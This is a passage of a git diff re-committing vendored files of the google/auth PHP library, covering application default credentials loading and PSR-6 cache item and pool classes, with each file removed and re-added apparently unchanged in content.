mixed + */ + protected function callJwtStatic($method, array $args = []) + { + $class = class_exists('Firebase\JWT\JWT') + ? 'Firebase\JWT\JWT' + : 'JWT'; + return call_user_func_array([$class, $method], $args); + } + + /** + * Provide a hook to mock calls to the JWT static methods. + * + * @param array $args + * @return mixed + */ + protected function callSimpleJwtDecode(array $args = []) + { + return call_user_func_array(['SimpleJWT\JWT', 'decode'], $args); + } + + /** + * Generate a cache key based on the cert location using sha1 with the + * exception of using "federated_signon_certs_v3" to preserve BC. + * + * @param string $certsLocation + * @return string + */ + private function getCacheKeyFromCertLocation($certsLocation) + { + $key = $certsLocation === self::FEDERATED_SIGNON_CERT_URL + ? 'federated_signon_certs_v3' + : sha1($certsLocation); + + return 'google_auth_certs_cache|' . $key; + } +} diff --git a/vendor/google/auth/src/ApplicationDefaultCredentials.php b/vendor/google/auth/src/ApplicationDefaultCredentials.php index 4a6643b827..af67f182f0 100644 --- a/vendor/google/auth/src/ApplicationDefaultCredentials.php +++ b/vendor/google/auth/src/ApplicationDefaultCredentials.php @@ -1,332 +1,332 @@ -push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'auth' => 'google_auth' // authorize all requests - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * ``` - */ -class ApplicationDefaultCredentials -{ - /** - * Obtains an AuthTokenSubscriber that uses the default FetchAuthTokenInterface - * implementation to use in this environment. - * - * If supplied, $scope is used to in creating the credentials instance if - * this does not fallback to the compute engine defaults. - * - * @param string|array scope the scope of the access request, expressed - * either as an Array or as a space-delimited String. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @return AuthTokenSubscriber - * @throws DomainException if no implementation can be obtained. - */ - public static function getSubscriber( - $scope = null, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $creds = self::getCredentials($scope, $httpHandler, $cacheConfig, $cache); - - return new AuthTokenSubscriber($creds, $httpHandler); - } - - /** - * Obtains an AuthTokenMiddleware that uses the default FetchAuthTokenInterface - * implementation to use in this environment. - * - * If supplied, $scope is used to in creating the credentials instance if - * this does not fallback to the compute engine defaults. - * - * @param string|array scope the scope of the access request, expressed - * either as an Array or as a space-delimited String. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @param string $quotaProject specifies a project to bill for access - * charges associated with the request. - * @return AuthTokenMiddleware - * @throws DomainException if no implementation can be obtained. - */ - public static function getMiddleware( - $scope = null, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null, - $quotaProject = null - ) { - $creds = self::getCredentials($scope, $httpHandler, $cacheConfig, $cache, $quotaProject); - - return new AuthTokenMiddleware($creds, $httpHandler); - } - - /** - * Obtains the default FetchAuthTokenInterface implementation to use - * in this environment. - * - * @param string|array $scope the scope of the access request, expressed - * either as an Array or as a space-delimited String. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @param string $quotaProject specifies a project to bill for access - * charges associated with the request. - * @param string|array $defaultScope The default scope to use if no - * user-defined scopes exist, expressed either as an Array or as a - * space-delimited string. - * - * @return CredentialsLoader - * @throws DomainException if no implementation can be obtained. - */ - public static function getCredentials( - $scope = null, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null, - $quotaProject = null, - $defaultScope = null - ) { - $creds = null; - $jsonKey = CredentialsLoader::fromEnv() - ?: CredentialsLoader::fromWellKnownFile(); - $anyScope = $scope ?: $defaultScope; - - if (!$httpHandler) { - if (!($client = HttpClientCache::getHttpClient())) { - $client = new Client(); - HttpClientCache::setHttpClient($client); - } - - $httpHandler = HttpHandlerFactory::build($client); - } - - if (!is_null($jsonKey)) { - if ($quotaProject) { - $jsonKey['quota_project_id'] = $quotaProject; - } - $creds = CredentialsLoader::makeCredentials( - $scope, - $jsonKey, - $defaultScope - ); - } elseif (AppIdentityCredentials::onAppEngine() && !GCECredentials::onAppEngineFlexible()) { - $creds = new AppIdentityCredentials($anyScope); - } elseif (self::onGce($httpHandler, $cacheConfig, $cache)) { - $creds = new GCECredentials(null, $anyScope, null, $quotaProject); - } - - if (is_null($creds)) { - throw new DomainException(self::notFound()); - } - if (!is_null($cache)) { - $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); - } - return $creds; - } - - /** - * Obtains an AuthTokenMiddleware which will fetch an ID token to use in the - * Authorization header. The middleware is configured with the default - * FetchAuthTokenInterface implementation to use in this environment. - * - * If supplied, $targetAudience is used to set the "aud" on the resulting - * ID token. - * - * @param string $targetAudience The audience for the ID token. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @return AuthTokenMiddleware - * @throws DomainException if no implementation can be obtained. - */ - public static function getIdTokenMiddleware( - $targetAudience, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $creds = self::getIdTokenCredentials($targetAudience, $httpHandler, $cacheConfig, $cache); - - return new AuthTokenMiddleware($creds, $httpHandler); - } - - /** - * Obtains an ProxyAuthTokenMiddleware which will fetch an ID token to use in the - * Authorization header. The middleware is configured with the default - * FetchAuthTokenInterface implementation to use in this environment. - * - * If supplied, $targetAudience is used to set the "aud" on the resulting - * ID token. - * - * @param string $targetAudience The audience for the ID token. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @return ProxyAuthTokenMiddleware - * @throws DomainException if no implementation can be obtained. - */ - public static function getProxyIdTokenMiddleware( - $targetAudience, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $creds = self::getIdTokenCredentials($targetAudience, $httpHandler, $cacheConfig, $cache); - - return new ProxyAuthTokenMiddleware($creds, $httpHandler); - } - - /** - * Obtains the default FetchAuthTokenInterface implementation to use - * in this environment, configured with a $targetAudience for fetching an ID - * token. - * - * @param string $targetAudience The audience for the ID token. - * @param callable $httpHandler callback which delivers psr7 request - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache A cache implementation, may be - * provided if you have one already available for use. - * @return CredentialsLoader - * @throws DomainException if no implementation can be obtained. - * @throws InvalidArgumentException if JSON "type" key is invalid - */ - public static function getIdTokenCredentials( - $targetAudience, - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $creds = null; - $jsonKey = CredentialsLoader::fromEnv() - ?: CredentialsLoader::fromWellKnownFile(); - - if (!$httpHandler) { - if (!($client = HttpClientCache::getHttpClient())) { - $client = new Client(); - HttpClientCache::setHttpClient($client); - } - - $httpHandler = HttpHandlerFactory::build($client); - } - - if (!is_null($jsonKey)) { - if (!array_key_exists('type', $jsonKey)) { - throw new \InvalidArgumentException('json key is missing the type field'); - } - - if ($jsonKey['type'] == 'authorized_user') { - throw new InvalidArgumentException('ID tokens are not supported for end user credentials'); - } - - if ($jsonKey['type'] != 'service_account') { - throw new InvalidArgumentException('invalid value in the type field'); - } - - $creds = new ServiceAccountCredentials(null, $jsonKey, null, $targetAudience); - } elseif (self::onGce($httpHandler, $cacheConfig, $cache)) { - $creds = new GCECredentials(null, null, $targetAudience); - } - - if (is_null($creds)) { - throw new DomainException(self::notFound()); - } - if (!is_null($cache)) { - $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); - } - return $creds; - } - - private static function notFound() - { - $msg = 'Could not load the default credentials. Browse to '; - $msg .= 'https://developers.google.com'; - $msg .= '/accounts/docs/application-default-credentials'; - $msg .= ' for more information'; - - return $msg; - } - - private static function onGce( - callable $httpHandler = null, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $gceCacheConfig = []; - foreach (['lifetime', 'prefix'] as $key) { - if (isset($cacheConfig['gce_' . $key])) { - $gceCacheConfig[$key] = $cacheConfig['gce_' . $key]; - } - } - - return (new GCECache($gceCacheConfig, $cache))->onGce($httpHandler); - } -} +push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'auth' => 'google_auth' // authorize all requests + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * ``` + */ +class ApplicationDefaultCredentials +{ + /** + * Obtains an AuthTokenSubscriber that uses the default FetchAuthTokenInterface + * implementation to use in this environment. + * + * If supplied, $scope is used to in creating the credentials instance if + * this does not fallback to the compute engine defaults. + * + * @param string|array scope the scope of the access request, expressed + * either as an Array or as a space-delimited String. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @return AuthTokenSubscriber + * @throws DomainException if no implementation can be obtained. + */ + public static function getSubscriber( + $scope = null, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $creds = self::getCredentials($scope, $httpHandler, $cacheConfig, $cache); + + return new AuthTokenSubscriber($creds, $httpHandler); + } + + /** + * Obtains an AuthTokenMiddleware that uses the default FetchAuthTokenInterface + * implementation to use in this environment. + * + * If supplied, $scope is used to in creating the credentials instance if + * this does not fallback to the compute engine defaults. + * + * @param string|array scope the scope of the access request, expressed + * either as an Array or as a space-delimited String. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @param string $quotaProject specifies a project to bill for access + * charges associated with the request. + * @return AuthTokenMiddleware + * @throws DomainException if no implementation can be obtained. + */ + public static function getMiddleware( + $scope = null, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null, + $quotaProject = null + ) { + $creds = self::getCredentials($scope, $httpHandler, $cacheConfig, $cache, $quotaProject); + + return new AuthTokenMiddleware($creds, $httpHandler); + } + + /** + * Obtains the default FetchAuthTokenInterface implementation to use + * in this environment. + * + * @param string|array $scope the scope of the access request, expressed + * either as an Array or as a space-delimited String. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @param string $quotaProject specifies a project to bill for access + * charges associated with the request. + * @param string|array $defaultScope The default scope to use if no + * user-defined scopes exist, expressed either as an Array or as a + * space-delimited string. + * + * @return CredentialsLoader + * @throws DomainException if no implementation can be obtained. + */ + public static function getCredentials( + $scope = null, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null, + $quotaProject = null, + $defaultScope = null + ) { + $creds = null; + $jsonKey = CredentialsLoader::fromEnv() + ?: CredentialsLoader::fromWellKnownFile(); + $anyScope = $scope ?: $defaultScope; + + if (!$httpHandler) { + if (!($client = HttpClientCache::getHttpClient())) { + $client = new Client(); + HttpClientCache::setHttpClient($client); + } + + $httpHandler = HttpHandlerFactory::build($client); + } + + if (!is_null($jsonKey)) { + if ($quotaProject) { + $jsonKey['quota_project_id'] = $quotaProject; + } + $creds = CredentialsLoader::makeCredentials( + $scope, + $jsonKey, + $defaultScope + ); + } elseif (AppIdentityCredentials::onAppEngine() && !GCECredentials::onAppEngineFlexible()) { + $creds = new AppIdentityCredentials($anyScope); + } elseif (self::onGce($httpHandler, $cacheConfig, $cache)) { + $creds = new GCECredentials(null, $anyScope, null, $quotaProject); + } + + if (is_null($creds)) { + throw new DomainException(self::notFound()); + } + if (!is_null($cache)) { + $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); + } + return $creds; + } + + /** + * Obtains an AuthTokenMiddleware which will fetch an ID token to use in the + * Authorization header. The middleware is configured with the default + * FetchAuthTokenInterface implementation to use in this environment. + * + * If supplied, $targetAudience is used to set the "aud" on the resulting + * ID token. + * + * @param string $targetAudience The audience for the ID token. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @return AuthTokenMiddleware + * @throws DomainException if no implementation can be obtained. + */ + public static function getIdTokenMiddleware( + $targetAudience, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $creds = self::getIdTokenCredentials($targetAudience, $httpHandler, $cacheConfig, $cache); + + return new AuthTokenMiddleware($creds, $httpHandler); + } + + /** + * Obtains an ProxyAuthTokenMiddleware which will fetch an ID token to use in the + * Authorization header. The middleware is configured with the default + * FetchAuthTokenInterface implementation to use in this environment. + * + * If supplied, $targetAudience is used to set the "aud" on the resulting + * ID token. + * + * @param string $targetAudience The audience for the ID token. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @return ProxyAuthTokenMiddleware + * @throws DomainException if no implementation can be obtained. + */ + public static function getProxyIdTokenMiddleware( + $targetAudience, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $creds = self::getIdTokenCredentials($targetAudience, $httpHandler, $cacheConfig, $cache); + + return new ProxyAuthTokenMiddleware($creds, $httpHandler); + } + + /** + * Obtains the default FetchAuthTokenInterface implementation to use + * in this environment, configured with a $targetAudience for fetching an ID + * token. + * + * @param string $targetAudience The audience for the ID token. + * @param callable $httpHandler callback which delivers psr7 request + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache A cache implementation, may be + * provided if you have one already available for use. + * @return CredentialsLoader + * @throws DomainException if no implementation can be obtained. + * @throws InvalidArgumentException if JSON "type" key is invalid + */ + public static function getIdTokenCredentials( + $targetAudience, + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $creds = null; + $jsonKey = CredentialsLoader::fromEnv() + ?: CredentialsLoader::fromWellKnownFile(); + + if (!$httpHandler) { + if (!($client = HttpClientCache::getHttpClient())) { + $client = new Client(); + HttpClientCache::setHttpClient($client); + } + + $httpHandler = HttpHandlerFactory::build($client); + } + + if (!is_null($jsonKey)) { + if (!array_key_exists('type', $jsonKey)) { + throw new \InvalidArgumentException('json key is missing the type field'); + } + + if ($jsonKey['type'] == 'authorized_user') { + throw new InvalidArgumentException('ID tokens are not supported for end user credentials'); + } + + if ($jsonKey['type'] != 'service_account') { + throw new InvalidArgumentException('invalid value in the type field'); + } + + $creds = new ServiceAccountCredentials(null, $jsonKey, null, $targetAudience); + } elseif (self::onGce($httpHandler, $cacheConfig, $cache)) { + $creds = new GCECredentials(null, null, $targetAudience); + } + + if (is_null($creds)) { + throw new DomainException(self::notFound()); + } + if (!is_null($cache)) { + $creds = new FetchAuthTokenCache($creds, $cacheConfig, $cache); + } + return $creds; + } + + private static function notFound() + { + $msg = 'Could not load the default credentials. Browse to '; + $msg .= 'https://developers.google.com'; + $msg .= '/accounts/docs/application-default-credentials'; + $msg .= ' for more information'; + + return $msg; + } + + private static function onGce( + callable $httpHandler = null, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $gceCacheConfig = []; + foreach (['lifetime', 'prefix'] as $key) { + if (isset($cacheConfig['gce_' . $key])) { + $gceCacheConfig[$key] = $cacheConfig['gce_' . $key]; + } + } + + return (new GCECache($gceCacheConfig, $cache))->onGce($httpHandler); + } +} diff --git a/vendor/google/auth/src/Cache/InvalidArgumentException.php b/vendor/google/auth/src/Cache/InvalidArgumentException.php index c80b70bd2c..331e561100 100644 --- a/vendor/google/auth/src/Cache/InvalidArgumentException.php +++ b/vendor/google/auth/src/Cache/InvalidArgumentException.php @@ -1,24 +1,24 @@ -key = $key; - } - - /** - * {@inheritdoc} - */ - public function getKey() - { - return $this->key; - } - - /** - * {@inheritdoc} - */ - public function get() - { - return $this->isHit() ? $this->value : null; - } - - /** - * {@inheritdoc} - */ - public function isHit() - { - if (!$this->isHit) { - return false; - } - - if ($this->expiration === null) { - return true; - } - - return $this->currentTime()->getTimestamp() < $this->expiration->getTimestamp(); - } - - /** - * {@inheritdoc} - */ - public function set($value) - { - $this->isHit = true; - $this->value = $value; - - return $this; - } - - /** - * {@inheritdoc} - */ - public function expiresAt($expiration) - { - if ($this->isValidExpiration($expiration)) { - $this->expiration = $expiration; - - return $this; - } - - $implementationMessage = interface_exists('DateTimeInterface') - ? 'implement interface DateTimeInterface' - : 'be an instance of DateTime'; - - $error = sprintf( - 'Argument 1 passed to %s::expiresAt() must %s, %s given', - get_class($this), - $implementationMessage, - gettype($expiration) - ); - - $this->handleError($error); - } - - /** - * {@inheritdoc} - */ - public function expiresAfter($time) - { - if (is_int($time)) { - $this->expiration = $this->currentTime()->add(new \DateInterval("PT{$time}S")); - } elseif ($time instanceof \DateInterval) { - $this->expiration = $this->currentTime()->add($time); - } elseif ($time === null) { - $this->expiration = $time; - } else { - $message = 'Argument 1 passed to %s::expiresAfter() must be an ' . - 'instance of DateInterval or of the type integer, %s given'; - $error = sprintf($message, get_class($this), gettype($time)); - - $this->handleError($error); - } - - return $this; - } - - /** - * Handles an error. - * - * @param string $error - * @throws \TypeError - */ - private function handleError($error) - { - if (class_exists('TypeError')) { - throw new \TypeError($error); - } - - trigger_error($error, E_USER_ERROR); - } - - /** - * Determines if an expiration is valid based on the rules defined by PSR6. - * - * @param mixed $expiration - * @return bool - */ - private function isValidExpiration($expiration) - { - if ($expiration === null) { - return true; - } - - // We test for two types here due to the fact the DateTimeInterface - // was not introduced until PHP 5.5. Checking for the DateTime type as - // well allows us to support 5.4. - if ($expiration instanceof \DateTimeInterface) { - return true; - } - - if ($expiration instanceof \DateTime) { - return true; - } - - return false; - } - - protected function currentTime() - { - return new \DateTime('now', new \DateTimeZone('UTC')); - } -} +key = $key; + } + + /** + * {@inheritdoc} + */ + public function getKey() + { + return $this->key; + } + + /** + * {@inheritdoc} + */ + public function get() + { + return $this->isHit() ? $this->value : null; + } + + /** + * {@inheritdoc} + */ + public function isHit() + { + if (!$this->isHit) { + return false; + } + + if ($this->expiration === null) { + return true; + } + + return $this->currentTime()->getTimestamp() < $this->expiration->getTimestamp(); + } + + /** + * {@inheritdoc} + */ + public function set($value) + { + $this->isHit = true; + $this->value = $value; + + return $this; + } + + /** + * {@inheritdoc} + */ + public function expiresAt($expiration) + { + if ($this->isValidExpiration($expiration)) { + $this->expiration = $expiration; + + return $this; + } + + $implementationMessage = interface_exists('DateTimeInterface') + ? 'implement interface DateTimeInterface' + : 'be an instance of DateTime'; + + $error = sprintf( + 'Argument 1 passed to %s::expiresAt() must %s, %s given', + get_class($this), + $implementationMessage, + gettype($expiration) + ); + + $this->handleError($error); + } + + /** + * {@inheritdoc} + */ + public function expiresAfter($time) + { + if (is_int($time)) { + $this->expiration = $this->currentTime()->add(new \DateInterval("PT{$time}S")); + } elseif ($time instanceof \DateInterval) { + $this->expiration = $this->currentTime()->add($time); + } elseif ($time === null) { + $this->expiration = $time; + } else { + $message = 'Argument 1 passed to %s::expiresAfter() must be an ' . + 'instance of DateInterval or of the type integer, %s given'; + $error = sprintf($message, get_class($this), gettype($time)); + + $this->handleError($error); + } + + return $this; + } + + /** + * Handles an error. + * + * @param string $error + * @throws \TypeError + */ + private function handleError($error) + { + if (class_exists('TypeError')) { + throw new \TypeError($error); + } + + trigger_error($error, E_USER_ERROR); + } + + /** + * Determines if an expiration is valid based on the rules defined by PSR6. + * + * @param mixed $expiration + * @return bool + */ + private function isValidExpiration($expiration) + { + if ($expiration === null) { + return true; + } + + // We test for two types here due to the fact the DateTimeInterface + // was not introduced until PHP 5.5. Checking for the DateTime type as + // well allows us to support 5.4. + if ($expiration instanceof \DateTimeInterface) { + return true; + } + + if ($expiration instanceof \DateTime) { + return true; + } + + return false; + } + + protected function currentTime() + { + return new \DateTime('now', new \DateTimeZone('UTC')); + } +} diff --git a/vendor/google/auth/src/Cache/MemoryCacheItemPool.php b/vendor/google/auth/src/Cache/MemoryCacheItemPool.php index d0598c6b20..0af2930434 100644 --- a/vendor/google/auth/src/Cache/MemoryCacheItemPool.php +++ b/vendor/google/auth/src/Cache/MemoryCacheItemPool.php @@ -1,154 +1,154 @@ -getItems([$key])); - } - - /** - * {@inheritdoc} - */ - public function getItems(array $keys = []) - { - $items = []; - - foreach ($keys as $key) { - $items[$key] = $this->hasItem($key) ? clone $this->items[$key] : new Item($key); - } - - return $items; - } - - /** - * {@inheritdoc} - */ - public function hasItem($key) - { - $this->isValidKey($key); - - return isset($this->items[$key]) && $this->items[$key]->isHit(); - } - - /** - * {@inheritdoc} - */ - public function clear() - { - $this->items = []; - $this->deferredItems = []; - - return true; - } - - /** - * {@inheritdoc} - */ - public function deleteItem($key) - { - return $this->deleteItems([$key]); - } - - /** - * {@inheritdoc} - */ - public function deleteItems(array $keys) - { - array_walk($keys, [$this, 'isValidKey']); - - foreach ($keys as $key) { - unset($this->items[$key]); - } - - return true; - } - - /** - * {@inheritdoc} - */ - public function save(CacheItemInterface $item) - { - $this->items[$item->getKey()] = $item; - - return true; - } - - /** - * {@inheritdoc} - */ - public function saveDeferred(CacheItemInterface $item) - { - $this->deferredItems[$item->getKey()] = $item; - - return true; - } - - /** - * {@inheritdoc} - */ - public function commit() - { - foreach ($this->deferredItems as $item) { - $this->save($item); - } - - $this->deferredItems = []; - - return true; - } - - /** - * Determines if the provided key is valid. - * - * @param string $key - * @return bool - * @throws InvalidArgumentException - */ - private function isValidKey($key) - { - $invalidCharacters = '{}()/\\\\@:'; - - if (!is_string($key) || preg_match("#[$invalidCharacters]#", $key)) { - throw new InvalidArgumentException('The provided key is not valid: ' . var_export($key, true)); - } - - return true; - } -} +getItems([$key])); + } + + /** + * {@inheritdoc} + */ + public function getItems(array $keys = []) + { + $items = []; + + foreach ($keys as $key) { + $items[$key] = $this->hasItem($key) ? clone $this->items[$key] : new Item($key); + } + + return $items; + } + + /** + * {@inheritdoc} + */ + public function hasItem($key) + { + $this->isValidKey($key); + + return isset($this->items[$key]) && $this->items[$key]->isHit(); + } + + /** + * {@inheritdoc} + */ + public function clear() + { + $this->items = []; + $this->deferredItems = []; + + return true; + } + + /** + * {@inheritdoc} + */ + public function deleteItem($key) + { + return $this->deleteItems([$key]); + } + + /** + * {@inheritdoc} + */ + public function deleteItems(array $keys) + { + array_walk($keys, [$this, 'isValidKey']); + + foreach ($keys as $key) { + unset($this->items[$key]); + } + + return true; + } + + /** + * {@inheritdoc} + */ + public function save(CacheItemInterface $item) + { + $this->items[$item->getKey()] = $item; + + return true; + } + + /** + * {@inheritdoc} + */ + public function saveDeferred(CacheItemInterface $item) + { + $this->deferredItems[$item->getKey()] = $item; + + return true; + } + + /** + * {@inheritdoc} + */ + public function commit() + { + foreach ($this->deferredItems as $item) { + $this->save($item); + } + + $this->deferredItems = []; + + return true; + } + + /** + * Determines if the provided key is valid. + * + * @param string $key + * @return bool + * @throws InvalidArgumentException + */ + private function isValidKey($key) + { + $invalidCharacters = '{}()/\\\\@:'; + + if (!is_string($key) || preg_match("#[$invalidCharacters]#", $key)) { + throw new InvalidArgumentException('The provided key is not valid: ' . var_export($key, true)); + } + + return true; + } +} diff --git a/vendor/google/auth/src/Cache/SysVCacheItemPool.php b/vendor/google/auth/src/Cache/SysVCacheItemPool.php index a2bc7a0ab3..1834cf1b3d 100644 --- a/vendor/google/auth/src/Cache/SysVCacheItemPool.php +++ b/vendor/google/auth/src/Cache/SysVCacheItemPool.php @@ -1,241 +1,241 @@ -options = $options + [ - 'variableKey' => self::VAR_KEY, - 'proj' => self::DEFAULT_PROJ, - 'memsize' => self::DEFAULT_MEMSIZE, - 'perm' => self::DEFAULT_PERM - ]; - $this->items = []; - $this->deferredItems = []; - $this->sysvKey = ftok(__FILE__, $this->options['proj']); - } - - public function getItem($key) - { - $this->loadItems(); - return current($this->getItems([$key])); - } - - /** - * {@inheritdoc} - */ - public function getItems(array $keys = []) - { - $this->loadItems(); - $items = []; - foreach ($keys as $key) { - $items[$key] = $this->hasItem($key) ? - clone $this->items[$key] : - new Item($key); - } - return $items; - } - - /** - * {@inheritdoc} - */ - public function hasItem($key) - { - $this->loadItems(); - return isset($this->items[$key]) && $this->items[$key]->isHit(); - } - - /** - * {@inheritdoc} - */ - public function clear() - { - $this->items = []; - $this->deferredItems = []; - return $this->saveCurrentItems(); - } - - /** - * {@inheritdoc} - */ - public function deleteItem($key) - { - return $this->deleteItems([$key]); - } - - /** - * {@inheritdoc} - */ - public function deleteItems(array $keys) - { - if (!$this->hasLoadedItems) { - $this->loadItems(); - } - - foreach ($keys as $key) { - unset($this->items[$key]); - } - return $this->saveCurrentItems(); - } - - /** - * {@inheritdoc} - */ - public function save(CacheItemInterface $item) - { - if (!$this->hasLoadedItems) { - $this->loadItems(); - } - - $this->items[$item->getKey()] = $item; - return $this->saveCurrentItems(); - } - - /** - * {@inheritdoc} - */ - public function saveDeferred(CacheItemInterface $item) - { - $this->deferredItems[$item->getKey()] = $item; - return true; - } - - /** - * {@inheritdoc} - */ - public function commit() - { - foreach ($this->deferredItems as $item) { - if ($this->save($item) === false) { - return false; - } - } - $this->deferredItems = []; - return true; - } - - /** - * Save the current items. - * - * @return bool true when success, false upon failure - */ - private function saveCurrentItems() - { - $shmid = shm_attach( - $this->sysvKey, - $this->options['memsize'], - $this->options['perm'] - ); - if ($shmid !== false) { - $ret = shm_put_var( - $shmid, - $this->options['variableKey'], - $this->items - ); - shm_detach($shmid); - return $ret; - } - return false; - } - - /** - * Load the items from the shared memory. - * - * @return bool true when success, false upon failure - */ - private function loadItems() - { - $shmid = shm_attach( - $this->sysvKey, - $this->options['memsize'], - $this->options['perm'] - ); - if ($shmid !== false) { - $data = @shm_get_var($shmid, $this->options['variableKey']); - if (!empty($data)) { - $this->items = $data; - } else { - $this->items = []; - } - shm_detach($shmid); - $this->hasLoadedItems = true; - return true; - } - return false; - } -} +options = $options + [ + 'variableKey' => self::VAR_KEY, + 'proj' => self::DEFAULT_PROJ, + 'memsize' => self::DEFAULT_MEMSIZE, + 'perm' => self::DEFAULT_PERM + ]; + $this->items = []; + $this->deferredItems = []; + $this->sysvKey = ftok(__FILE__, $this->options['proj']); + } + + public function getItem($key) + { + $this->loadItems(); + return current($this->getItems([$key])); + } + + /** + * {@inheritdoc} + */ + public function getItems(array $keys = []) + { + $this->loadItems(); + $items = []; + foreach ($keys as $key) { + $items[$key] = $this->hasItem($key) ? + clone $this->items[$key] : + new Item($key); + } + return $items; + } + + /** + * {@inheritdoc} + */ + public function hasItem($key) + { + $this->loadItems(); + return isset($this->items[$key]) && $this->items[$key]->isHit(); + } + + /** + * {@inheritdoc} + */ + public function clear() + { + $this->items = []; + $this->deferredItems = []; + return $this->saveCurrentItems(); + } + + /** + * {@inheritdoc} + */ + public function deleteItem($key) + { + return $this->deleteItems([$key]); + } + + /** + * {@inheritdoc} + */ + public function deleteItems(array $keys) + { + if (!$this->hasLoadedItems) { + $this->loadItems(); + } + + foreach ($keys as $key) { + unset($this->items[$key]); + } + return $this->saveCurrentItems(); + } + + /** + * {@inheritdoc} + */ + public function save(CacheItemInterface $item) + { + if (!$this->hasLoadedItems) { + $this->loadItems(); + } + + $this->items[$item->getKey()] = $item; + return $this->saveCurrentItems(); + } + + /** + * {@inheritdoc} + */ + public function saveDeferred(CacheItemInterface $item) + { + $this->deferredItems[$item->getKey()] = $item; + return true; + } + + /** + * {@inheritdoc} + */ + public function commit() + { + foreach ($this->deferredItems as $item) { + if ($this->save($item) === false) { + return false; + } + } + $this->deferredItems = []; + return true; + } + + /** + * Save the current items. + * + * @return bool true when success, false upon failure + */ + private function saveCurrentItems() + { + $shmid = shm_attach( + $this->sysvKey, + $this->options['memsize'], + $this->options['perm'] + ); + if ($shmid !== false) { + $ret = shm_put_var( + $shmid, + $this->options['variableKey'], + $this->items + ); + shm_detach($shmid); + return $ret; + } + return false; + } + + /** + * Load the items from the shared memory. + * + * @return bool true when success, false upon failure + */ + private function loadItems() + { + $shmid = shm_attach( + $this->sysvKey, + $this->options['memsize'], + $this->options['perm'] + ); + if ($shmid !== false) { + $data = @shm_get_var($shmid, $this->options['variableKey']); + if (!empty($data)) { + $this->items = $data; + } else { + $this->items = []; + } + shm_detach($shmid); + $this->hasLoadedItems = true; + return true; + } + return false; + } +} diff --git a/vendor/google/auth/src/CacheTrait.php b/vendor/google/auth/src/CacheTrait.php index 9396d8499e..217ce8e2c9 100644 --- a/vendor/google/auth/src/CacheTrait.php +++ b/vendor/google/auth/src/CacheTrait.php @@ -1,83 +1,83 @@ -cache)) { - return; - } - - $key = $this->getFullCacheKey($k); - if (is_null($key)) { - return; - } - - $cacheItem = $this->cache->getItem($key); - if ($cacheItem->isHit()) { - return $cacheItem->get(); - } - } - - /** - * Saves the value in the cache when that is available. - */ - private function setCachedValue($k, $v) - { - if (is_null($this->cache)) { - return; - } - - $key = $this->getFullCacheKey($k); - if (is_null($key)) { - return; - } - - $cacheItem = $this->cache->getItem($key); - $cacheItem->set($v); - $cacheItem->expiresAfter($this->cacheConfig['lifetime']); - return $this->cache->save($cacheItem); - } - - private function getFullCacheKey($key) - { - if (is_null($key)) { - return; - } - - $key = $this->cacheConfig['prefix'] . $key; - - // ensure we do not have illegal characters - $key = preg_replace('|[^a-zA-Z0-9_\.!]|', '', $key); - - // Hash keys if they exceed $maxKeyLength (defaults to 64) - if 